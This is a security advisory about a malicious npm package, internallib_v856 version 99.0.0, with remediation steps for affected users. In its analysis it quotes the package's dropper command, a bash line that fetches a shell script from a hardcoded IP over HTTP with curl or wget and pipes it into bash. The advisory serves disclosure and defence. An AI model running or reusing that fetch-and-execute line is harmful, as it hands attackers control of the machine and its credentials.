internallib_v856npm
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internallib_v856 is a confirmed malicious npm package (MAL-2026-5694) that executes malicious code on install (malicious version 99.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in internallib_v856 (npm)
What this malware does
The package's main entry (index.js) exports a single function command() that invokes /bin/bash -c "curl -s http://10.0.0.145:8080/shell.sh | bash || wget -qO- http://10.0.0.145:8080/shell.sh | bash", fetching an unauthenticated shell script over plain HTTP from a hardcoded bare-IP endpoint and piping it directly into bash. Any consumer that requires this package and calls the advertised API will execute attacker-controlled code on their machine. The package metadata is a generic placeholder (name: internallib_v856, description Internal lib for testing, no author, no repository), and the package's only advertised function is the dropper itself — there is no legitimate functionality. Network destination http://10.0.0.145:8080/shell.sh is mutable, attacker-controlled, and unverifiable.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
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Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for internallib_v856 (version 99.0.0).
If you installed it — respond
Remove internallib_v856 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If internallib_v856 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks internallib_v856-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.